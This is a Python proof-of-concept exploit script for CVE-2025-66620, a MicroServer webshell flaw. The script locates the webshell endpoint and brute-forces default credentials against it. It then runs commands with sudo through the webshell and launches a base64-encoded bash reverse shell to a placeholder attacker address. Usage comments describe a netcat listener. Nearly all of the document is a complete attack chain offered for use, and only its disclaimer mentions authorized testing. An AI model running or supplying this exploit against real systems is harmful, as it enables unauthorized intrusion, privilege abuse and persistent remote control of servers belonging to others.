#!/usr/bin/env python3
"""
CVE-2025-66620 PoC - MicroServer Unused Webshell Exploitation
Note: This PoC is for educational and authorized security testing purposes only.
This script demonstrates the vulnerability where an unused webshell in MicroServer
allows unlimited login attempts with sudo rights on certain files and directories.
"""
import requests
import sys
import socket
import base64
# Configuration
TARGET_IP = "<target_ip>"
TARGET_PORT = 443
WEB_SHELL_PATH = "/api/webshell" # Example path, adjust based on enumeration
def check_webshell_exists():
"""Check if the unused webshell endpoint exists."""
try:
response = requests.get(f"https://{TARGET_IP}:{TARGET_PORT}{WEB_SHELL_PATH}",
verify=False, timeout=10)
if response.status_code == 200:
print(f"[+] Webshell endpoint found at {WEB_SHELL_PATH}")
return True
except requests.RequestException as e:
print(f"[-] Error checking webshell: {e}")
return False
def brute_force_login():
"""
Since the webshell allows unlimited login attempts,
this function demonstrates attempting multiple credentials.
In real scenarios, this would be combined with weak/default credentials.
"""
print("[*] Attempting to exploit unlimited login attempts...")
# Common weak credentials to try
credentials = [
("admin", "admin"),
("admin", "password"),
("root", "root"),
("administrator", "administrator"),
("admin", ""),
]
for username, password in credentials:
try:
login_data = {
"username": username,
"password": password
}
response = requests.post(
f"https://{TARGET_IP}:{TARGET_PORT}{WEB_SHELL_PATH}/login",
json=login_data,
verify=False,
timeout=10
)
if response.status_code == 200 and "session" in response.text:
print(f"[+] Successful login with {username}:{password}")
return response.json().get("session_token")
except requests.RequestException:
continue
print("[-] Login attempts did not succeed")
return None
def execute_command(session_token, command):
"""Execute commands through the webshell with sudo privileges."""
try:
headers = {"Authorization": f"Bearer {session_token}"}
payload = {
"command": base64.b64encode(command.encode()).decode(),
"sudo": True # Exploiting sudo rights on certain files
}
response = requests.post(
f"https://{TARGET_IP}:{TARGET_PORT}{WEB_SHELL_PATH}/exec",
json=payload,
headers=headers,
verify=False,
timeout=30
)
return response.json().get("output", "")
except requests.RequestException as e:
return f"Error: {e}"
def establish_reverse_shell(session_token, attacker_ip, attacker_port):
"""Establish a reverse shell for persistence."""
reverse_shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
# Create and execute reverse shell payload
payload_creation = f"echo {encoded_cmd} | base64 -d | bash"
result = execute_command(session_token, payload_creation)
print(f"[*] Reverse shell payload sent to {attacker_ip}:{attacker_port}")
return result
def main():
print("[*] CVE-2025-66620 PoC - MicroServer Unused Webshell")
print("[*] Target: MicroServer with unused webshell vulnerability")
# Step 1: Check if webshell exists
if not check_webshell_exists():
print("[-] Webshell not found or not accessible")
sys.exit(1)
# Step 2: Exploit unlimited login attempts
session_token = brute_force_login()
if not session_token:
print("[-] Failed to obtain session token")
sys.exit(1)
# Step 3: Execute commands with sudo privileges
print("[*] Testing command execution with sudo privileges...")
result = execute_command(session_token, "whoami")
print(f"[+] Command output: {result}")
# Step 4: Establish reverse shell for persistence
ATTACKER_IP = "<attacker_ip>"
ATTACKER_PORT = 4444
print(f"[*] Attempting to establish reverse shell to {ATTACKER_IP}:{ATTACKER_PORT}")
establish_reverse_shell(session_token, ATTACKER_IP, ATTACKER_PORT)
print("[*] Exploitation complete. Check for reverse shell connection.")
if __name__ == "__main__":
main()
# Usage:
# 1. Set TARGET_IP to the MicroServer IP address
# 2. Start a netcat listener: nc -lvp 4444
# 3. Run the script with appropriate permissions
# 4. Monitor the reverse shell connection
# Disclaimer: Only use on systems you have explicit permission to test.